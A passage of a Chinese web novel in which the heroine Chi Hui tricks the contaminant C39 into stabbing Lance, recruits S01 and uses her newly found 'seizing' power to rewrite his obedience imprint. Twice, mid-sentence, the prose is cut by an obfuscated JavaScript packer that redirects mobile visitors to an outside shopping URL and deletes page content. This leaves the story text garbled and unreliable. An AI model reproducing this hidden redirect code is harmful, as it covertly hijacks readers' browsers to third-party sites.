她顿了顿,直视着他的眼睛,厚颜无耻道,“你看,你现在还能好端端地站在这里和我对话,不就是我的功劳吗?” C39露出空白的表情。 他歪着头,似乎在努力理解她的话。那双琥珀色的眼睛时而清醒,时而涣散,像两个正在争夺控制权的灵魂。 水母的触须在她皮肤上游走,带着微微的湿意,像在试探什么。 “是吗……”他喃喃道。 池彗暗中松了口气。 同时,她将污染值分给在隔壁房间的分-身,让它快些把兰斯引诱过来—— 然而,下一秒,C39的眼神突然变得清明。 “可我分明记得,”他说,声音里带着一丝颤抖,“当时,你和我说……” 他顿了顿。 “‘哨兵,都该死’。” 池彗的动作一僵。 “姐姐,你是骗我的,对不对?” 话音刚落,缠绕在池彗周身的水母触足陡然变硬! 透明的触足瞬间收紧,像无数条绞索,缠上池彗。冰冷的触感带着刺痛——水母的毒素,正试图麻痹她的神经。 二人距离太近。池彗来不及反应,想要躲避却已来不及—— “砰!” 就在这时,一道身影从侧方撞来,狠狠撞开了池彗,用身体接下了这一击。 是兰斯。 池彗瞳孔微缩。 千钧一发之际,他挡在她身前,胸口被触须贯穿,鲜血喷涌而出。 “你……” C39愣了愣,立即看向池彗,恍然大悟地问,“你故意的?” 兰斯来的时机太巧了。C39几乎可以确定,池彗一定有在其中推波助澜。 池彗当然不会承认。 她伸手,扶住兰斯的身体,同时借着这个动作,不动声色地在兰斯的伤口处补了一刀。 很轻,很快,位置隐蔽,不会致命,但足以让伤口看起来更严重。 既然决定了做戏,就要做全套。 “阁下!” 补刀完毕后,她惊呼出声,声音惊慌极了,“您撑着,我去叫医务官!” C39终于回过神来。 他看着池彗的脸,看着她焦急的表情,看着她一边呼喊一边扶住兰斯的动作—— “你、你又骗我?” 他难以置信地问。 这个女人,明明心肝全是黑的,说出的话却偏偏如水一般温柔,令人沉溺。 触须猛地抽回。 兰斯闷哼一声,身体瘫软地倒在池彗怀里。鲜血染红了她的制服,温热而粘稠。 C39后退一步,又一步。 现在,他终于明白,池彗引他过来,不过是为了借他之手,捅兰斯一刀。 自己那么努力地给她使绊子,结果,她最恨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243028|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,居然另有其人? 莫名其妙的飞醋一下子冲昏了C39的头脑。他咬了咬牙,愤怒的目光瞪向兰斯,匆匆撂下一句: “你们等着!” 便化作一滩液体,逃离了这里。 …… 几分钟后,白塔巡逻员姗姗来迟。 “池向导!发生什么事了?!” 他们看到地上的血迹和昏迷的兰斯,脸色骤变。 “有污染物袭击。”池彗的声音带着恰到好处的颤抖,“它……它攻击了兰斯大人。” “快!叫医务官!” 几个人手忙脚乱地将兰斯抬上担架。医务官很快赶到,开始紧急处理伤口。 “他伤得如何?”池彗凑上前,表情关切。 医务官检查了一番,皱眉道:“伤口很深,但万幸没有伤及要害。只是失血过多,需要静养。” 池彗点点头,垂下眼帘,掩住眼底一闪而过的遗憾。 唉,C39下手还是不够狠啊。 都变成她的同类了,怎么还是这么优柔寡断的呢? …… 虽然结果并不差,但池彗还是复盘了一下。 她觉得,自己不能这样一直被动下去了—— 赤眼蝶用多了,会有暴露身份的风险。如果想更稳妥地抓住C39,或许,她得找一个有能力的哨兵合作。 兰斯?不行,他没有能力。 霍川?不行,他在找“再生之心”的线索。若是抓住C39,拿到了“再生之心”,万一他反水了怎么办? 与其把宝物让给别人,池彗更想独吞这一看就很有用的再生能力。 要不……S01? 那个战斗机器,眼里只有任务和贡献点。只要给够好处,他应该不会多问。 池彗想了想,掏出终端,给S01发了一条消息: 【池彗:有空吗?想和你谈个合作。】 十分钟后,回复来了。 【S01:说。】 【池彗:帮我抓一个污染物,事成之后,分你一半贡献点。】 【S01:多少?】 【池彗:我的任务奖励是200贡献点,事成之后,分你100,如何?】 【S01:400。】 池彗:“?” 虽然任务是1000贡献点,但他这么狮子大开口,这对吗? 【池彗:打扰了,那我再找别人问问。】 【S01:300。】 池彗皱眉。 这家伙,怎么比兰斯还难缠? 【池彗:最多150。这已经是我能拿出的极限了。】 【S01:200。】 【池彗:……成交。】 她盯着终端上的对话,忽然觉得哪里不对。 怎么感觉,她一和S01相处,就被他同化了似的?这合理吗? 16. 第 16 章 白塔训练场,凌晨六点。 池彗站在训练室中央,对面是S01。晨光透过窗户洒进来,在地板上切出一格格影子。 “你想抓的那个污染物,是什么?”S01问。 池彗目光挪移,没说出具体品种,而是道:“是一种……能寄生在哨兵精神域里的特殊污染物。” S01点了点头,没有多问。对他来说,任务就是任务,不需要知道来龙去脉。 “但在这之前,”他话锋一转,“你需要提升自己的实力。” 池彗挑眉:“什么意思?” “你太弱了。”S01的语气平淡,像在陈述一个事实,“以你现在的水平,就算我帮你抓住那个污染物,你也控制不住它。” 池彗:“……” 虽然知道他说的是实话,但被这么直白地说出来,还是有点不爽。 “那怎么办?”她问。 “先做基础训练。”S01走到她面前,“释放你的精神力,让我看看。” 池彗犹豫了一瞬。 她可以释放精神力,但不能释放太多——她现在伪装成E级向导,实力不能超出这个范围太多。 她闭上眼睛,精神力缓缓涌出。 S01站在原地,任由那股力量扫过他的身体。 “不够。”他说,“继续。” 池彗咬牙,又加了一成。 “继续。” 再加一成。 “继续。” 再加—— 池彗睁开眼:“再继续就超出E级范围了。” S01看着她,银灰色的眼睛里闪过一丝什么。 “你以为你在和谁打?”他说,“在我面前,你不需要伪装。” 池彗的心脏漏跳了一拍。 他知道什么? 但S01没有继续这个话题,只是说:“用全力。” 池彗盯着他看了几秒,然后闭上眼睛。 精神力全开。 那股力量如同潮水般涌出,瞬间填满了整个训练室。S01的精神域在她感知中清晰地浮现出来。 “很好。”S01的声音传来,“现在,找到你的灵魂特质。” 灵魂特质? 池彗愣了一下。 她从来不知道自己还有这种东西。 “每个觉醒者都有灵魂特质。” S01仿佛看穿了她的疑惑,“哨兵偏向战斗,向导偏向辅助。你的特质是什么,需要你自己去发现。” “可我没有精神体,也会拥有能力吗?”池彗问。 S01不置可否:“进入我的精神域,感受它。” 池彗的精神力迟疑地探入那片银白色荒漠。 这是她第二次进入S01的精神域了。 一回生,二回熟。精神域内,熟悉的年幼版S01抬起头,看向她。 那双漂亮的鸳鸯眼内,此刻没有任何敌意,只是静静地注视着她。 池彗的精神力在荒漠中游走,寻找着某种……她也不知道的东西。 精神域内过于无聊,她开始查看S01的记忆,看他执行过的任务、杀过的污染物、见过的人。 和C39一样,他是白塔的改造人。 她看见一个年幼的男孩,站在训练营的操场上,被教官训斥。 她看见男孩第一次出任务,杀死第一只污染物时,脸上没有任何表情。 她看见他一次次受伤,一次次愈合,一次次站起。 没有家人,没有朋友,没有多余的情感。 只有任务。 池彗的精神力触碰到那些画面,感受到其中冰冷的、纯粹的执念。 然后,有什么东西在她体内苏醒了。 一股陌生的吸力从她掌心涌出,开始疯狂汲取S01精神域里的力量。 画面开始褪色,像被抽走了色彩。 S01抬起头,看向她,表情依然平静。 但池彗能感觉到,他对她的依赖正在加深。 “停下。”S01的声音响起。 池彗猛地收回手。 她睁开眼睛,发现自己脸色煞白,手心全是冷汗。 “看到你的异能了吗?”S01问。 池彗低头看着自己的手。一个陌生的词汇,在她心中缓缓浮现。 “看到了。” 池彗喃喃道,“是……夺取。” 【灵魂特质·夺取】。 “或许,你没有精神体的原因就在于此。” S01消息不通,并不知道池彗目前已经“觉醒”了精神体。他垂眸,淡淡说道,“你可以夺取他人的精神体,反哺己身。而这个能力,触发的条件比较苛刻,才一直没有被你发现。” “是吗?” 她的“灵魂特质”,是夺取,不是催眠? 池彗愣了一下。 那她成为污染物后,所拥有的催眠能力,又是从何而来? 她再次低头看向掌心,感觉到体内多了一股新的力量。 是来自S01的精神力。 ——她偷走了他的一丝精神力。 池彗看着对面的S01,忽然有了一个大胆的想法。 如果她的灵魂特质是夺取,那她能不能夺取一些……比精神力更有用的东西? 比如,他的意志? 池彗再次闭上眼睛。 她小心翼翼地绕开那些记忆画面,绕开那些情感碎片,直接触碰精神域最深处的那个核心—— 那团银白色的光。 白塔烙下的思想钢印。 然而,就在她触碰到那团白光的刹那,池彗被弹开了。 白光所蕴含的精神力量太过强大,本能地排斥着她。 不行。 池彗垂下眼帘。 虽然S01对她没有设防。但二人的实力过于悬殊,她没办法对他的精神做太多手脚。 看来,只能徐徐图之…… 等等。 池彗忽然瞪大双眼。 她想到了。 对S01来说,最重要的是什么? 是【白塔的任务】。 那么,如果……她对他的精神域稍作修改,把潜意识中的“任务”概念,修改成“池彗”,也就是她自己的命令,又会如何呢? 【白塔的任务是不可违背的。】 【池彗的命令……是不可违背的?】 她尝试着动用精神力,小心翼翼地修改、调整。 因为改动的内容不多,这一次,她居然成功了。 S01的眼中渐渐露出迷惘。 他看向池彗。 那双猫一样的鸳鸯眼竖瞳微微放大,逐渐呈现出类人的圆形瞳孔。 一丝不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243029|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易察觉的依赖,在他的眼眸之中,被池彗种了下去。 “对,就是这样。” 池彗倾身,发丝垂落,露出淡淡的微笑。 虽然现在,她在S01内心种下的,只是一颗小小的种子,但她相信,随着她的暗示不断加深,这颗种子会不断生根、发芽,最终长成……无可撼动的参天巨树。 与此同时,一个词汇突兀地在她心中浮现—— 【污染特质·操控】。 污染特质? 除了【灵魂特质】,这个世界上,还存在【污染特质】? 池彗瞪大双眼。 她明白了。 夺取灵魂+精神操控=催眠。 污染化后,她拥有了第二个能力。两个能力协同,共同作用下,才衍生出了新的能力。 池彗恍然。 也就是说,由哨兵和向导所变成的污染物,都会拥有两个能力。 那么,C39大难不死……也是因为这个吗? 【灵魂特质·幻境】、【污染特质·再生】? 这两个能力,看起来,也没有什么可以协同作用的可能啊? 池彗不禁猜测起来。 等等。 先不猜别人的了。眼前……不就是一个绝对不会骗她的实例吗? 池彗有点兴奋了。 能被白塔誉为“战争机器”的S01,其灵魂特质,也一定是稀有的攻击类吧? 她附身,轻声催促S01:“告诉我,你的灵魂特质……是什么?” S01眼中再次闪过迷惘。 他似乎不应该回答这个问题。但冥冥之中,似乎又有什么东西在心中不断催促、逼迫他快些回答。 他眼中浮现出挣扎的神色。 池彗皱眉。 还是不够么? 她咬了咬牙,压低声音,添了句筹码:“这是命令。” S01是白塔的基因改造人,天生就被白塔烙下“服从”的思想钢印。他不能,也不该违逆命令。 S01闭了闭眼。 再睁眼时,他眼中的挣扎一扫而空: “是‘命运之轮’。” 池彗:“?” 说好的强攻击类异能呢? …… 就在这时,训练场的门被推开了。 池彗迅速收回精神力,转身看向门口。 霍川站在那里,身后跟着一队全副武装的哨兵。 他的目光扫过池彗,扫过S01,最后落在池彗身上。 “池向导,”他说,语气听不出情绪,“麻烦你跟我走一趟。” 池彗的心跳漏了一拍。 “什么事?” “白塔内部检测到污染物入侵。”霍川淡淡道,“按照程序,所有人必须接受污染物检测。” 他顿了顿。 “包括你。” 池彗垂下眼帘。 她早就料到了。 C39的出现,那些被寄生过的哨兵,迟早会引起白塔的警觉。只是没想到……霍川的动作这么快。 而且,看他的眼神,分明已经在怀疑她了。 难道,来自2区白塔的他知道——向导会变成污染物? 这件事,在白塔高层之中,或许不是秘密。 “好。” 池彗垂下眼帘,表情平静,“我去。”